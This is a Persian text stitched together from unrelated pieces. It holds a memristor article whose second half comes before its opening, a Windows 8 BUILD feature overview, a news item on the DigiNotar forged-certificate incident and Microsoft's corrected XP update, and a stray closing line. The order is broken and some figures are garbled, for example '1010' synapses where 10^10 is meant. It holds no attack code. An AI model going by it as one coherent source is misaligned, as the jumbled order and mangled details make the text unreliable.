تك‌سلولي به‌گونه‌اي الگوي وقوع اتفاقات محيط را به‌خاطر سپرده بود و با پيش‌بيني اتفاقات بعدي، رفتار خود را تغيير داد. ما انسان‌ها براي انجام چنين رفتاري با مشكلات بسيار مواجه هستيم؛ چه رسد به اين موجود تك‌سلولي كه حتي يك ياخته عصبي هم ندارد. مقاله ژاپني‌ها در ذهن فيزيك‌داني از دانشگاه سن‌ديگو به نام مكس ديونترا جرقه‌اي را شعله‌ور ساخت. او يكي از معدودكساني بود كه كارهاي چوا را دنبال مي‌كرد و متوجه شد كه رفتار اين موجود تك‌سلولي مشابه ممريستور است. او و همكارانش براي اثبات اين ارتباط، براي ساخت يك مدار الكتريكي اقدام كردند كه مانند موجود تك‌سلولي قادر به فراگيري الگوي سيگنال‌ها و پيش‌بيني سيگنال‌هاي بعدي است. مدار شبيه‌ساز ثابت كرد، كسب توانايي پيش‌گويي رخدادهاي تكراري ساده است. براي شبيه سازي تغييرات دما و رطوبت محيط اطراف ارگانيسم تك‌سلولي، ولتاژهاي متغيري به مدار وصل شد؛ ولتاژ عبوري از مؤلفه ممريستور نيز به‌منزله سرعت حركت ارگانيسم بود. پس از آن‌كه ابزار ممريستور به‌طور صحيح درون مدار قرار گرفت، ولتاژ عبوري از آن براساس آهنگ تغييرات ولتاژ خارجي، تغيير مي‌كرد. پس از «آموزش» ابزار ممريستور با استفاده از سه پالس‌ متوالي ولتاژ با فواصل زماني ثابت، اين ابزار حتي در شرايطي كه آخرين پالس ولتاژ هرگز به آن وصل نشد، ولتاژ خروجي را تكرار كرد. ديونترا معتقد است، گرانروي ماده sol و ساير ترشحات ژله مانند ارگانيسم تك‌سلولي براي شبيه‌سازي مكانيكي خاصيت Memristance به‌كار مي‌رود. با افزايش دماي محيط، ماده ژله‌اي نرم‌تر شده و از چسبندگي آن كاسته مي‌شود. در نتيجه، معبرهاي جديدي درون آن باز شده و امكان جاري شدن sol و حركت سريع‌تر ارگانيسم فراهم مي‌شود. كاهش دما اين چرخه را معكوس مي‌كند. اما نحوه بازيابي وضعيت اوليه به محل شكل‌گيري معبرها و حافظه داخلي سلول بستگي دارد. چوا نيز پيش‌بيني كرده‌بود، ممريستور درباره نحوه يادگيري مطالب توسط ارگانيسم‌هاي زنده، واقعيت‌هاي جالبي را افشا مي‌كند. او هنگام نگارش اولين مقاله خود درباره ممريستور مجذوب سيناپس‌ها شد. سيناپس‌ها فواصل موجود بين سلول‌هاي عصبي ارگانيسم‌هاي پيچيده هستند كه پالس‌هاي عصبي از طريق آن‌ها منتقل مي‌شود. به‌طور خاص، چوا متوجه واكنش پيچيده الكتريكي آن‌ها در برابر كاهش و افزايش يون‌هاي پتاسيم و سديم در غشاي هريك از سلول‌ها شد. اين واكنش به سيناپس‌ها امكان مي‌دهد كه براساس فركانس و شدت سيگنال، واكنش خود را تنظيم كنند. اين عملكرد به نحوه پاسخ‌گويي ممريستور در برابر تغييرات ولتاژ شباهت بسياري دارد. چوا مي‌گويد: «در آن زمان متوجه شدم، سيناپس‌ها در واقع ممريستور هستند. كانال يوني همان جزء گم‌شده مدارهاي الكتريكي است كه من در جست‌وجوي آن بودم و به‌طور پويا در طبيعت وجود دارد.» شكل 2- نوعي موجود تك‌سلولي كه از پوست درخت بادام تغذيه مي‌كند. ممكن است اين ارگانيسم‌هاي زيرك، حلقه گمشده مدارهاي حافظه باشند. تمام اين وقايع براي چوا يك مفهوم دارد. تلاش‌هاي انجام‌گرفته براي ساخت هوش مصنوعي به‌گونه‌اي كه قابليت شبيه‌سازي توان پردازشي يك مغز واقعي را داشته باشد، با موفقيت اندكي مواجه شده است. به‌احتمال علت اين ناكامي‌ها، عدم دسترسي يكي از عناصر مهم الكترونيك به نام ممريستور بوده است. اكنون كه اين عنصر مهم شناسايي شده و در اختيار بشر قرار گرفته، آيا دوره جديدي از هوش‌مصنوعي آغاز مي‌شود؟ آژانس تحقيقات دفاعي پيشرفته اعتقاد دارد قطعاً چنين اتفاقي رخ مي‌دهد. در ماه آوريل سال گذشته اين سازمان فناوري جديدي به نام SyNAPSE نام(سرنامSystems of Neuromorphic Adaptive Plastic Scalable Electronics) عرضه كرد. از اين فناوري به‌منظور ساخت «ماشين‌هاي الكترونيكي‌اي که سيستم عصبي مجازي با قابليت تغيير اندازه تا ابعاد ميكروبي را دارند» استفاده مي‌شود. من ممريستور هستم گروه ويليامز از شركت اچ‌پي تا حد زيادي در اين تحولات نقش دارد. اواخر سال گذشته، يكي از همكاران او به نام گرگ اسنايدر در مقاله‌اي نحوه ساخت يك تراشه مبتني بر ممريستور را به‌منظور آزمايش سيناپس‌هاي پيچيده‌تر تشريح كرد. او توضيح مي‌دهد، در هر سانتي‌متر مربع از قشر مغز انسان، 1010 سيناپس وجود دارد. اين در حالي است كه فشردگي قطعات تشكيل‌دهنده پردازنده‌هاي امروزي ده برابر كمتر از اين مقدار است. او مي‌گويد: «اين يكي از علت‌هاي مهمي است كه باعث‌شده تاکنون نتوانيم ماشين‌هاي هوشمند را در خيابان‌ها ببينيم.» "عملكرد سيناپس‌ها به نحوه پاسخ‌گويي ممريستور در برابر تغييرات ولتاژ شباهت بسياري دارد." رؤياي اسنايدر دستيابي به نوعي فناوري است كه آن را «محاسبات غشايي» مي‌نامد تا بتواند تمام قابليت‌هاي ممريستور را براي شبيه‌سازي تعامل سيستم عصبي مغز به‌كار گيرد. اين يك ايده كاملاً جديد است. ويليامز مي‌گويد: «مردم معمولاً اين نوع شبكه‌ها را با شبكه‌هاي عصبي اشتباه مي‌گيرند. هدف ما تغيير معماري هوش مصنوعي است.» اين درحالي است كه شبكه‌هاي عصبي نرم‌افزارهايي هستند كه روي سخت‌افزارهاي استاندارد پردازشي اجرا مي‌شوند. هم‌اكنون اولين‌گام‌ها در اين راه برداشته شده‌است. ويليامز و اسنايدر به گيل‌کارپنتر و استفان‌گراسبرگ در دانشگاه بوستون پيوسته‌اند. شخصيت‌هاي اخير بنيانگذاران انتقال رفتارهاي عصبي به سيستم‌هاي الكترونيكي هستند. آنان اين اقدام را به‌منظور ساخت تراشه‌هاي ترکيبي شامل ترانزيستور و ممريستور در راستاي شبيه‌سازي پردازش‌هاي مربوط به نيروي تفكر انسان، انجام داده‌اند. ديونترا و همكار او يوري پرشين از اين هم پيش‌تر رفته‌اند و سيناپسي را با خاصيت Memristive توليد كرده‌اند كه عملكردي مشابه سيناپس‌هاي واقعي دارد. با اين اوصاف، مي‌توان تصور کرد که ساخت مغز الكترونيكي به زمان نياز دارد. ويليامز مي‌گويد: «ما براي ساخت اين تراشه با مشكلات زيادي روبه‌رو هستيم.» بخشي از مشكلات از اين واقعيت ناشي مي‌شود كه اين تراشه بيش از حد هوشمند است و خروجي آن به‌جاي يك پالس ديجيتالي استاندارد، نوعي پالس آنالوگ است كه موجب سردرگمي نرم‌افزارهاي استاندارد آزمايش تراشه‌ها مي‌شود. به همين دليل، ويليامز و همكارانش به‌ناچار يك نرم‌افزار سفارشي براي آزمايش اين تراشه ساخته‌اند. او مي‌گويد: «انجام تمام اين اقدامات مستلزم صرف زمان است.» در همين اثنا، چوا نيز بيكار نمانده و تئوري خود را درباره اجزاي اصلي مدارهاي الكترونيكي توسعه مي‌دهد. او با پرسش‌هاي جديدي روبه‌رو است؛ اگر خصوصيات ممريستور با قابليت‌هاي خازن‌ها و القاگرها تركيب شده و اجزاي جديدي موسوم به Memcapacitor و Meminductor ساخته شود، چه اتفاقي روي مي‌دهد؟ اگر پس از ساخت اين تجهيزات دوباره قابليت‌هاي آن‌ها را با يكديگر تركيب كنيم به چه نتايجي مي‌رسيم؟ چوا مي‌گويد: «به‌احتمال Memcapacitor كاربردهاي بيشتري از ممريستور خواهد داشت. زيرا اين ابزارها هيجچ مقاومتي ندارند.» حداقل در تئوري، يك Memcapacitor مي‌تواند اطلاعات را بدون صرف انرژي ذخيره كند. اين ابزارها بسيار كارآمد خواهند بود. ويليامز نيز با اين عقيده موافق است. در حقيقت، گروه او در ابتداي سال جاري كار خود را درباره اين موضوع آغاز كرده و هم‌اكنون در حال ساخت اولين نمونه از Memcapacitor است. او مي‌گويد: «ما هنوز خصوصيات آن را تعيين نكرده‌ايم.» به اعتقاد او با وجود ازهم گسستگي اساسي در امور، تصميم‌گيري درباره اقدامات بعدي بسيار مشكل است. ممكن است يك ممريستور بتواند در اتخاذ اين تصميم ياري‌رسان باشد. منبع : ماهنامه شبکه

انسان همواره در آرزوي ساخت روبات‌ها و ابزارهاي هوشمند و همچنين به‌كارگيري هوش مصنوعي در پردازش اطلاعات، اكتشافات فضايي و اموري از اين قبيل بوده است. اين تمايل در فيلم‌ها و داستان‌هاي تخيلي از ماشين‌هاي هوشمند و پرتوان نمود پيدا كرده است. براي مدت به نسبت طولاني، بسياري از دانشمندان تصور مي‌كردند، دستيابي به اين فناوري فوق‌العاده در سايه شبكه‌هاي عصبي امكان‌پذير مي‌شود، اما تمام آن‌ها در اشتباه بودند! كليد حل معماي هوش مصنوعي در عملكرد يكي از اجزاي اصلي مدارهاي الكترونيكي نهفته است كه تاكنون از ديد تمام محققان و دانشمندان پنهان مانده بود. عملكردي كه حتي موجودات تك‌سلولي بدون ياخته‌هاي عصبي نيز از آن بهره‌مند هستند؛ عملكردي كه در جريان ساخت يك سوييچ در مقياس نانو به طور تصادفي شناسايي شد و Memristor نام گرفت. اين مقاله داستان كشف و ساخت نمونه‌اي از Memristor را بيان مي‌كند. آيا تاکنون اين احساس را داشته‌ايد که چيزي گمشده است؟ اگر چنين است، درست احساس کرده‌ايد! هنگامي كه ديميتري مندليف در سال 1869 چهار شكاف در جدول تناوبي خود يافت، دقيقاً همين احساس را داشت. اين خانه‌هاي خالي در حقيقت محل چهار عنصر ناشناخته اسكانديوم، گاليوم، تكنتيوم و ژرمانيوم بود. پل ديراك نيز هنگامي كه در سال 1929 براي توصيف الكترون، يك معادله مكانيك كوانتومي را فرموله مي‌كرد، همين احساس را داشت. او علاوه بر الكترون، جرم ديگري را شناسايي كرد كه شباهت زيادي به الكترون داشت، اما با آن متفاوت بود. تا سال 1932 ماهيت پوزيترون كه در واقع ضدماده الكترون محسوب مي‌شود، ناشناخته بود. اين جزء از ماده براي اولين بار در پرتوهاي كيهاني ديده شد. لئون چوا نيز در سال 1972 همين احساس را داشت. او يك مهندس الكترونيك جوان در دانشگاه بركلي كاليفرنيا بود كه به رياضي علاقه بسياري داشت. او مجذوب اين واقعيت شد كه الكترونيك داراي پيچيدگي‌هاي اساسي رياضياتي نيست. بنابراين، همچون تمام دانشمندان سخت‌كوش، براي ايجاد يك شاخه جديد در اين علم اقدام كرد. او جزء گم‌شده‌اي از علم الكترونيك را يافت كه بايد در كنار سه‌ عنصر مقاومت، خازن و القاگر، يكي از اجزاي استاندارد مدارهاي الكتريكي باشد. چوا اين كشف خود را ممريستور (Memristor) ناميد. مشكل اينجا بود كه از نظر چوا و سايرين اين جز‌ء از مدارهاي الكترونيكي وجود خارجي نداشت. در چند سال گذشته ممريستور از يك مفهوم مبهم به يكي از پرجنجالي‌ترين خصوصيات فيزيكي تبديل شده است و نه‌تنها نمونه‌هايي از آن ساخته شده، بلکه به‌احتمال موجب تحول صنعت الكترونيك نيز خواهد شد. اين مفهوم علاوه بر افزايش پيچيدگي علم الكترونيك مي‌تواند رموز طبيعت را درباره پيچيده‌ترين و توانمندترين سيستم پردازش، يعني مغز انسان افشا كند. شروع داستان ما براساس منطق مطلق شكل گرفت، اما در انتهاي كار پاداش بزرگي در انتظار ما است. در سال 1971 چوا چهار كميت اصلي معرف مدارهاي الكترونيكي را بررسي مي‌كرد. اولين آن‌ها، بار الكتريكي است. دومين مفهوم شامل تغييرات بار الكتريكي در طول زمان است كه با عنوان جريان شناخته مي‌شود. جريان‌هاي الكتريكي، موجب توليد ميدان‌هاي مغناطيسي مي‌شوند كه ما را به مفهوم سوم يعني شار مغناطيسي مي‌رساند. اين مفهوم در واقع شدت ميدان مغناطيسي را بيان مي‌كند. بالاخره مفهوم چهارم شامل تغييرات شار مغناطيسي با گذشت زمان است كه با عنوان ولتاژ شناخته مي‌شود. در علم رياضيات، چهار مفهوم مرتبط مي‌توانند به شش طريق مختلف با يكديگر پيوند داشته باشند. تعريف بار الكتريكي، جريان، شار مغناطيسي و ولتاژ اين مفاهيم را به دو طريق با يكديگر پيوند مي‌دهد. سه عنصر اصلي سازنده مدارهاي الكترونيكي نيز با سه شيوه ديگر از روش‌هاي پيوندمفاهيم مذكور تناظر دارند. مقاومت ابزاري است كه هنگام عبور جريان از آن، ولتاژ توليد مي‌شود. خازن در يك ولتاژ خاص، مي‌تواند مقدار مشخصي از بار الكتريكي را ذخيره كند. با عبور جريان از يك القاگر مي‌توان شار مغناطيسي ايجاد كرد.تا اينجا پنج روش برقراري پيوند بين مفاهيم موردبحث شناسايي شدند. آيا چيزي فراموش شده است؟ بله، همين‌طور است. ابزاري كه بار الكتريكي و شار مغناطيسي را به هم پيوند مي‌دهد، كجا است؟ به‌طور خلاصه بايد گفت، چنين ابزاري هرگز وجود نداشته است، در حالي كه براساس علم رياضي بايد وجود داشته باشد. چوا درباره عملكرد ابزار گم‌ شده شروع به تحقيق كرد. كاركرد اين ابزار به‌گونه‌اي است كه هيچ مجموعه‌اي از مقاومت‌ها، خازن‌ها و القاگرها قادر به انجام آن نيست. از آنجا كه جابه‌جايي بارها جريان الكتريكي را توليد مي‌كند و تغييرات شار مغناطيسي ولتاژ را پديد مي‌آورد، ابزار جديد تقريباً مثل مقاومت، بايد ولتاژ را با استفاده از جريان توليد كند. مطمئناً اين ابزار فرآيند توليد ولتاژ از جريان را به صورت پويا و پيچيده انجام مي‌دهد. در حقيقت، براساس محاسبات چوا، كاركرد اين ابزار شبيه به يك مقاومت است كه توانايي يادآوري جريان‌هاي عبوري قبلي را دارد (شكل 1). به اين ترتيب، ممريستور متولد شد، اما به‌سرعت به دست فراموشي سپرده شد. با وجود اين كه ممريستور در تئوري مورد قبول واقع شد، هيچ دستگاه يا ماده فيزيكي‌اي قابليت‌هاي تعريف شده را براي آن فراهم نمي‌كرد. اصول علم الكترونيك همواره ذهن چوا را مشغول كرده است، اما حتي او نيز از يافته خود انتظارات اندكي داشت. او مي‌گويد: «من هرگز تصور نمي‌كردم يكي از اين ابزارها را در دوران زندگي خود ببينم.» اما او توانايي استن ويليامز، يكي از كارمندان ارشد شركتHP را ناديده گرفته بود. در اوايل سال 2000 ويليامز و گروه او به دنبال ساخت نوعي سوييچ سريع و كم‌مصرف با استفاده از دو مقاومت كوچك از جنس‌دي‌اكسيد تيتانيوم بودند. اين مقاومت‌ها بايد روي يكديگر قرار مي‌گرفتند و جريان الكتريكي از درون يكي به‌گونه‌اي عبور مي‌كرد كه موجب فعال و غيرفعال شدن خاصيت مقاومت الكتريكي در ديگري مي‌شد. شكل 1- در صورت قطع جريان، قطر لوله‌ها ثابت مي‌ماند تا جريان دوباره وصل شود. اين ابزار توانايي به‌خاطر سپردن جريان عبوري را دارد. نوآوري در مقياس نانو گروه ويليامز به اين نتيجه رسيد كه ساخت سوييچ موردنظر امكان‌پذير است، اما عملكرد مقاومت‌ها در سوييچ‌هاي مختلف به‌گونه‌اي است كه پيش‌بيني و انتخاب يك مدل قراردادي را غيرممكن مي‌كند. بالاخره ويليامز از انجام اين كار نااميد شد. ويليامز به مدت سه سال روي اين پروژه كار كرد تا اين‌كه يكي از دوستانش اطلاعاتي را درباره چوا و اقدامات او در اختيارش قرار داد. او مي‌گويد: «من ناگهان متوجه شدم، معادلاتي كه براي توصيف دستگاه موردنظر خود مي‌نويسم به معادلات چوا بسيار شبيه است. بعد از آن همه چيز درجاي مناسب قرار گرفت.» اتفاقي كه افتاد، اين بود: اتم‌هاي سازنده دي‌اكسيد تيتانيوم كه از يك اتم تيتانيوم و دو اتم كسيژن ساخته شده‌اند، در واقع نوعي نيمه‌رسانا هستند. با حرارت دادن اين ماده تعدادي از اتم‌هاي اكسيژن از تركيب آن خارج مي‌شوند و باقيمانده اتم‌ها داراي بار الكتريكي مي‌شوند. "با وجود اين كه ممريستور در تئوري مورد قبول واقع شد، هيچ دستگاه يا ماده فيزيكي‌اي قابليت‌هاي تعريف‌شده را براي آن فراهم نمي‌كرد." در نتيجه، تركيب موردبحث عملكردي مثل فلزات مي‌يابد. در سوييچ‌هاي ويليامز، مقاومت بالايي كاملاً خاصيت نيمه‌رسانايي داشت و مقاومت پاييني به دليل كمبود اكسيژن داراي خاصيت فلزي بود. با اتصال ولتاژ به دستگاه، اتم‌هاي باردار بخش فلزي به سمت لايه خارجي آن جابه‌جا شده و موجب كاهش مقاومت نيمه‌رسانا مي‌شوند و اين تركيب را به يك رساناي كامل تبديل مي‌كنند. با تغيير راستاي ولتاژ، تمام اين جريان به صورت معكوس اتفاق مي‌افتد. يعني اتم‌هاي باردار به سمت لايه‌هاي داخلي جابه‌جا شده و لايه خارجي به نيمه‌رسانايي با مقاومت بالا تبديل مي‌شود. مشكل در اين جا است كه با قطع ولتاژ، اين چرخه از حركت باز مي‌ايستد و مقاومت به همان ميزان باقي مي‌ماند. هنگامي كه ولتاژ دوباره وصل شود، سيستم وضعيت پيشين خود را «به‌ياد» مي‌آورد و با همان ميزان مقاومت وارد عمل مي‌شود. ويليامز به‌طور تصادفي يك ممريستور ساخت كه با توصيفات چوا از اين ابزار كاملاً منطبق بود. ويليامز توانست علت اين موضوع را که چرا تاكنون هيچ‌کس يك ممريستور را نديده بيان كند. از آنجا كه عملكرد اين ابزار به حركت‌هاي سطح اتمي بستگي دارد، تنها در تجهيزات ويليامز كه در مقياس نانو ساخته مي‌شدند، قابل مشاهده بود. او مي‌گويد: «اين ابزار در مقياس ميلي‌متري اصولاً قابل مشاهده نيست.» صرف‌نظر از اندازه اين ابزار، اهميت و كاربردهاي بالقوه آن به‌سرعت آشكار شد. از آنجا كه ممريستور در طول چندنانوثانيه‌اي كه داراي مقاومت ثابت است، تنها چند پيكوژول توان مصرف مي‌كند، مي‌توان اطلاعات مختلف را روي اين ماده درج كرد. ويليامز دراين‌باره مي‌گويد: «همه‌چيز در بهترين حالت ممكن است.» پس از درج اطلاعات حتي پس از قطع توان نيز اطلاعات در حافظه ابزار باقي مي‌ماند.

گردهمایی BUILD که هفته گذشته در کاليفرنيا برگزار شد، ضيافت رونمایی از ويندوز 8 به شمار می‌رفت. با اينکه طی هفته‌ها و ماه‌های گذشته چه به صورت رسمی و چه در قالب شايعات اينترنتی، اطلاعات گوناگونی درباره سيستم‌عامل آتی مايکروسافت انتشار يافت ولی BUILD جایی بود که در آن ويندوز 8 معرفی شد. ويندوز 8 شاهد بنيادی‌ترين تغييرات از چندين سال گذشته تاکنون و شايد در کل تاريخ سيستم‌عامل‌های مايکروسافت بوده‌است. اين سيستم‌عامل مجموعه‌ای از امکانات و بهبودهای جديد را به نمايش گذاشته‌است؛ از واسط کاربر جديد Metro که مرا بسيار به ياد سيستم‌عامل موبايل ويندوز‌فون 7 انداخت، گرفته تا يکی از پرهياهوترين تغييرات يعنی سازگاری با معماری‌های غيراينتلی که باعث می‌شود روی دستگاه‌های مبتنی بر ARM نيز قابل اجرا باشد. مايکروسافت با وجود رونمایی خبرساز ويندوز 8 در کنفرانس BUILD، درباره زمان فروش و قيمت آن و اينکه آيا همچون ويندوز 7 در چند نسخه مختلف عرضه خواهد شد يا نه، چيزی بر زبان نياورد. با اين‌ وجود باور عمومی بر اين است که ويندوز 8 در پاييز سال 2012 عرضه خواهد شد که بر جدول زمانی گفته شده در اظهارنظرهای غيررسمی مديران و گفته‌های به بيرون نشت کرده نيز منطبق است. علاوه بر اين، ويندوز 7 تقريباً يک سال پس از اولين رونمایی در گردهمایی 2008 PDC عرضه شد و در نتيجه زمان تخمينی برای انتشار ويندوز 8 در پاييز 2012 غيرمنطقی نيست. در اينجا می‌خواهيم هشت نکته جديد درباره ويندوز 8 را به اطلاع شما برسانيم. سازگاري با پردازنده‌های ARM شايد بزرگ‌ترين تغيير روی داده در ويندوز اين باشد که سيستم‌عامل جديد ردموند از اين پس روی کامپيوترهایی با پردازنده‌های غيراينتلی نيز قابل اجرا خواهد بود. چون ويندوز 8 خواهد توانست روی دستگاه‌های مبتنی بر معماری ARM نيز اجرا شود. بدين ترتيب اين سيستم‌عامل به دامنه گسترده‌تری از تجهيزات گوناگون از دستکاپ گرفته تا کامپيوترهای لوحی رسوخ خواهد کرد. واسط كاربري جديد طراحی ويندوز 8 تغييرات زيادی را به خود ديده‌است که شايد چشمگيرترين آن‌ها واسط کاربري جديدش با نام Metro باشد. البته يک انتخاب ديگر نيز در نظر گرفته شده و آن واسطی است که به طراحی سنتی‌گونه ويندوز 7 شباهت بيشتری دارد و کاربران می‌توانند با کليک روی دکمه Start به مد Metro و با کليک روی Computer به مد قديمی سوييچ کنند. همان‌طور که واسط کاربر Mac OS X Lion از سيستم‌عامل موبايل اپل يعنی iOS بسيار اقتباس کرده‌است، ويندوز 8 نيز در طراحی خود از سيستم‌عامل موبايل مايکروسافت يعنی ويندوز‌فون 7 وام گرفته‌است. سيستم‌عامل جديد از قابليت live tiles بهره می‌برد. اين ويژگی به کاربران اجازه می‌دهد تا به برنامه‌ها دسترسی يافته و اطلاعاتی را که به صورت زنده به‌روز شده‌اند (مثل اعلان‌ها) ببينند. به‌علاوه، ويندوز 8، هم از نمايش کامل محيط يک برنامه و هم از نمايش ناکامل آن پشتيبانی می‌کند. همچنين می‌توان يک برنامه را در نوار کناری پنجره قرار داد، قسمتی شبيه ريبون در نرم‌افزار Word نيز به ويندوز اکسپلورر افزوده شده‌است و File Manager نيز ارتقاء پيدا کرده‌است. واسط چندلمسی سازگار با تبلت در سال‌های اخير حرکات لمسی به يکی از تجارب روزمره در تعامل با دستگاه‌های کامپيوتری مبدل شده‌اند؛ کافی است انگشت‌تان را روی صفحه اسمارت‌فون، تبلت، نمايشگر و ديگر دستگاه‌های مشابه بکشيد تا دستور مربوطه اجرا شود. مايکروسافت طی رونمایی از ويندوز 8 نشان داد که چگونه با ضربه‌زدن به برنامه‌ها (شبيه آن چيزی که در OS X Lion اپل می‌بينيم) می‌توان برنامه‌ای را که در پس‌زمينه پنجره جاری، در حال اجرا است به نوار کناری آن برنامه منتقل کرد. قابليت ديگر در ويندوز 8 يک صفحه‌کليد لمسی و دو بخشی بود که در صورت استفاده روی تبلت‌ها ورودی‌های ناشی از ضربه‌های انگشت را ساده‌تر دريافت می‌کند. انتشار نسخه Developer’s Preview مايکروسافت نسخه Developer Preview ويندوز 8 را در روز سه‌شنبه 14 سپتامبر منتشر کرد که اگر مشتاقيد تا زودتر از موعد رسمی از ويندوز 8 استفاده کنيد، می‌توانيد نسبت به دريافتش اقدام کنيد. اين نسخه شامل دو ويرايش 64 بيتی (x64) با ابزارهای توسعه جهت ساخت برنامه‌ها و 32 بيتی ((x32 بدون ابزارهای توسعه است که می‌توانيد آن‌ها را از پايگاه اينترنتی Windows Dev Center دانلود کنيد. هشدار: در صورت مواجهه با مشکل هيچ‌گونه پشتيبانی رسمی دريافت نخواهيد کرد ولی مايکروسافت اعلام کرده‌است که اگر مشکل بزرگی بروز کند، ممکن است ترميم‌های مورد نياز برای رفع آن‌را عرضه کند. پشتيباني از Xbox Live مايکروسافت می‌خواهد تجربه بازی با کامپيوترهای شخصی را با کنسول‌های بازی خود يک‌دست کند و برای اين‌کار Xbox Live را به دسکتاپ آورده‌است. درباره چگونگی اين اتحاد اطلاعات کمی در دست است ولی لری هيرب، مدير برنامه‌‌سازی برای اکس‌باکس در يکی از پست‌های بلاگش نوشته‌است که آوردن اکس‌باکس لايو به ويندوز 8 بخشی از نگرش ما است مبنی بر اينکه دسترسی به سرگرمی مورد نظر شما و به‌اشتراک‌گذاری آن با کسانی که دوست‌شان داريد، آسان شود. سازگار با فناوری ابر ويندوز 8 با سرويس‌های ابری مايکروسافت ارتباط تنگاتنگی دارد. هر يک از کاربران ويندوز 8 يک حساب SkyDrive خواهند داشت (شايد يک شخص از قبل اين حساب را داشته باشد يا بخواهد حساب جديدی باز کند) که می‌توانند به وسيله آن درست همان‌طور که به فايل‌های خود روی کامپيوتر محلی دسترسی دارند، به فايل‌های ذخيره شده‌شان در SkyDrive نيز دسترسی پيدا کنند. ويندوز 8 همچنين به کاربران اجازه می‌دهد تا به سيستم ديگری که با SkyDrive مرتبط است، متصل شوند و حتی درصورت وجود فايروال نيز از طريق آن سيستم به فايل‌های خود دسترسی پيدا کنند. فروشگاه نرم‌افزار (App Store) همانطور که اپل برای سيستم‌عامل دسکتاپ Mac OS X خود Mac App Store را تاسيس کرده، مايکروسافت نيز برای ويندوز 8 فروشگاهی به نام Windows Store را راه‌اندازی کرده‌است. Windows Store با Mac App Store تفاوت‌هایی دارد؛ از جمله اينکه به کاربرانش اجازه می‌دهد تا نرم‌افزار منتخب خود را در يک بازه زمانی مشخص به‌طور آزمايشی به کار ببرند. اين فروشگاه بخشی به نام Spotlight دارد که در آن برنامه‌های پيشنهادی مايکروسافت قرار گرفته‌اند و علاوه بر آن دسته‌بندی‌های ديگری همچون بازی‌ها (Games)، ايجاد محتوا (Productivity) و عکاسی (Photography) نيز در نظر گرفته شده‌اند (می‌توانيد برحسب نام نيز آن‌ها را جست‌وجو کنيد). برنامه‌های ويژه مد غير Metro يا قديمی‌تر واسط کاربر هم در Windows Store به فروش خواهند رسيد. امنيت بيشتر و بيشتر می‌دانيم، می‌دانيم.... با هر بار انتشار نسخه جديد ويندوز، در بوق و کرنا می‌کنند که امنيت آن بهتر شده‌است، ولی به حرف‌مان گوش کنيد. ويندوز 8 چنان طراحی شده که هنگام بوت شدن، تنها اجزای مورد اطمينان سيستم‌عامل را بارگذاری می‌کند. Windows Defender نيز همه تمهيدات کامل ضدويروس را شامل می‌شود و يک سد امنيتی با نام App Reputation نيز شما را از نصب کردن برنامه‌های مشکوک باز می‌دارد. منبع : ماهنامه شبکه

صدور هشدار امنیتی گوگل برای کاربران ایرانی همچنان در صدر اخبار آی تی جهان قرار دارد. این هشدار امنیتی مبنی بر دستبرد و جعل سازی گواهینامه‌های SSL توسط نفوذگران مخرب بود که توسط افرادی سود جو مورد سوء استفاده قرار گرفته بود و در مسیر ارتباطی کاربران ایرانی و سرویس ایمیل جی‌میل قرار داده شد. اما در جدیدترین خبر مرتبط با این فاجعه امنیتی، مایکروسافت امروز! پس از روزها از افشاء سازی این نقص امنیتی اعلام کرد که در اصلاحیه اولیه مرتبط با این موضوع مرتکب اشتباهی شده است مبنی بر آنکه انتشار آن اصلاحیه، کاربران سیستم عامل ویندوز XP را همچنان در خطر قرار میداده است. به گزارش وین بتا و به نقل از سایت‌های InfoWorld و The Register مایکروسافت اعلام کرده است که فایل بروز رسانی جدیدی برای ویندوز اکس پی منتشر شده است که اشتباه گذشته این شرکت را رفع کرده است. این اشتباه باعث شده است که نگرانی‌های امنیتی بیشتری برای کاربران و مدیران آی تی سطح جهان و مخصوصاً ایرانیان بوجود آورد. در واقع مایکروسافت در اصلاحیه اولیه‌اش به اشتباه برخی از گواهینامه‌های زیر مجموعه شرکت DigiNotar را همچنان قابل اعتماد معرفی کرده بوده است که در اصلاحیه امروز این اشکالات برطرف شده است، اما این مسئله ثابت میکند که تا به امروز احتمال ریسک خطر امنیتی کاربران ویندوز اکس پی بسیار بالا بوده است. به گفته سایت ComputerWorld این اشتباه شامل ۶ شاخص اصلی امتیاز دهی گواهینامه‌های SSL از CA وابسطه به شرکت DigiNotar می‌شده است. گواهینامه‌های SSL کاربرد اصلی شان در اعتماد سازی و رمزنگاری رابط میانی کاربر و سایت سرویس دهنده میباشد. اما همیشه خطر (شنود جعلی فرد میانی) یا Man in the Middle به این نوع از رمزنگاری وارد بوده است. بطوریکه در جریان سرقت و جعل سازی ۵۰۰ عدد از گواهینامه‌های اخیر از شرکت DigiNotar باعث شد که تنها ۱ نمونه از این گواهینامه‌ها به مدت ۱ ماه متداوم کاربران ایرانی را در معرض خطر امنیتی، نقض حریم خصوصی، و سرقت اطلاعات محرمانه قرار دهد. تخمین زده میشود که ۳۰۰ هزار کاربر ایرانی در معرض این خطر بوده‌اند. اما پس از همه دستورات امنیتی ارائه شده از سوی گوگل و بروزرسانی مروگرهای مختلف برای حذف اعتماد به این گواهینامه‌ها، مایکروسافت امروز اعلام کرد که ویندوز اکس پی تنها امروز مورد اصلاح قرار گرفته است. در واقع اگر شما تنها به نصب بروزرسانی شماره ۲۶۱۶۶۷۶ قانع شده‌اید، در اشتباه هستید. تنها در صورتی از امنیت کامل در برابر این نقص امنیتی برخوردار خواهید شد که بروزرسانی‌های ۲۶۰۷۷۱۲ یا ۲۵۲۴۳۷۵ را بر روی رایانه خود نصب کنید. گفتنی است که این موارد تنها در مورد ویندوز اکس پی سرویس پک ۲ صدق میکند و گمان میرود که کارشناسان امنیتی از در نسخه‌های بعدی ویندوز ایرادی را در بروزرسانی‌ها توانسته‌اند کشف کنند. بر طبق گفته مایکروسافت نیز این گاف بروزرسانی، سیستم عامل ویندوز نسخه‌های ویستا، ۷، ۲۰۰۸ و ویندوز سرور ۲۰۰۸ را آلوده نکرده است.

500 دوباره این بازیییییی